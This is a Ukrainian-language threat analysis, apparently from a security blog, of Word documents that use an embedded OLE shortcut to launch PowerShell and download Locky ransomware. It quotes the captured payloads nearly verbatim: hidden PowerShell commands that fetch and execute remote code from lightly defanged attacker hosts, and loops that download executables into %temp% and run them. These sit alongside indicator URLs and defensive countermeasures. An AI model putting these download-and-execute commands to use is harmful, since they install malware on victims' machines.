%random%.doc > OLE(ps) > wera4.exe
Отримав на аналіз черговий зразок документу із OLE у вигляді ярлика на powershell.
Незважаючи на той факт, що даний зразок не був націлений на українські системи – в котре наголошую, що через певний час тактику застосування таких документів (тільки локалізованих та з іншими зображеннями) візьмуть на озброєння зловмисники, що будуть атакувати українські організації. Тому, будьте ласкаві, перевірте ще раз – чи вжили ви необхідних заходів, аби активація такої приманки не залежала від людського фактору і була блокована одним із наведених методів у розділі “Контрзаходи”
Навіть зображення не змінили:
При активації в %temp% записується 4.lnk який містить такий рядок:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "$rv=[System.Uri]'h11p:\\with-hair[.]co.jp/693';$dx=(new-object IO.StreamReader((([Net.WebRequest]::Create($rv)).GetResponse()).GetResponseStream())).ReadToEnd();IEX $dx;"
Якщо жертва активує вбудований об’єкт процес Winword передає керування на powershell, що призводить до отримання списку адрес (необфускований)
Перелік із 6 URL по даній кампанії (завантаження проміжного payload який довантажує Locky)
$cpknos = "h11p:\\teesaddiction[.]com/JHgd3Dees","h11p:\\christaminiatures[.]nl/JHgd3Dees","h11p:\\336.linux1.testsider[.]dk/JHgd3Dees","h11p:\\florastor[.]net/JHgd3Dees","h11p:\\heinzig[.]info/JHgd3Dees","h11p:\\muchinfaket[.]net/p66/JHgd3Dees" $cpknos = $cpknos | Sort-Object {Get-Random} foreach($cpkno in $cpknos){ Try{ Write-Host $cpkno $scpm = "$env:temp\wera4.exe" Write-Host $scpm $dum = (New-Object System[.]net.WebClient) $dum.DownloadFile([System.Uri]$cpkno, $scpm) Start-Process $scpm break }Catch{}}
Результат активації
Dropper та проміжний payload детектуються McAfee
Контрзаходи:
(такі самі як у попередньому аналізі)
- вимкнути активацію OLE через реєстр чи GPO
- заборонити для обох версій powershell вихідний трафік в мережу Інтернет
- заборонити додаткам MS Office створювати дочірні CMD та Powershell
- заборонити створення *.exe в каталозі користувача
Будьте уважні та обережні!
VR
OLE(ps) замість DDE
загадка:
не DDE, не макрос, а powershell викликає..
Доставку Locky почали здійснювати за допомогою OLE, де в якості об’єкту – ярлик на Powershell.
Важливий момент – в цьому випадку оновлення MS, деактивація DDE від таких файлів не захищає, бо це старе OLE. Інший механізм.
У кого було блокування створення .exe в профілі або хоча би %temp% – захищені
У кого були обидва правила на дочірні процеси – і на CMD і на Powershell – захищені
Усім іншим поки що повезло, бо проміжний downloader не завантажував основну частину на системи українського сегменту. Поки що.
В котре наголошую, що на фоні масових розсилок, які поки що не шкодять, в окремих цільових атаках можуть застосовуватися схожі, але вже локалізовані документи – із різними типами начинки як DDE, так і OLE, macros.
Схема атаки:
email > .doc (OLE - LNK - PS) > запитання1? > powershell > GET URL list > GET payload1 > %temp%\*1.exe > GET encoded payload2 > %temp%\*2.exe
* Із схеми викинули проміжне звернення до CMD, команди на завантаження переліку адрес іде напряму з winword на powershell
Принцип дії простий – при відкритті документу жертва бачить прохання клікнути двічі на зображенні
(зображення може бути інакшим – не прив’язуйтеся саме до цієї картинки!)
Подвійний клік спричиняє активацію OLE який видобуває в %tmp% ярлик на виклик powershell із зашитим рядком URL.
Далі усе як раніше. Тільки цього разу без проміжного звернення до cmd.
Контрзаходи:
1) Переконайтеся, що застосували правила для cmd і powershell
2) Блокування доступу до Internet для Powershell (варіант #1)
3) Блокування створення .exe в %temp%
Приклад спрацювання правила на запуск дочірніх процесів:
Маркери компрометації:
Файли з двох різних кампаній.
Invoice INV0000252
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring([System.Uri]'h11p:\cornertape.net/eiuhf384'))
443051465
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring([System.Uri]'h11p:\hispanic-models.com/kjsdch7346'))
За посиланням – некодований набір інструкцій (їм стало ліньки робити обфускації у проганяти через base64)
Зверніть увагу – запис проміжного payload (downloader) у каталог %temp%
$us = "h11p:\ingress.kannste.net/JHGbdc34","h11p:\givagarden.com/JHGbdc34","h11p:\hotelruota.it/JHGbdc34","h11p:\internet-webshops.de/JHGbdc34","h11p:\hilaryandsavio.com/JHGbdc34","h11p:\cirad.or.id/JHGbdc34" foreach($u in $us){ Try{ Write-Host $u $f = "$env:temp\h8.exe" Write-Host $f $w = New-Object System.Net.WebClient $w.DownloadFile($u, $f) Start-Process $f break }Catch{}}
Будьте уважні та обережні!
VR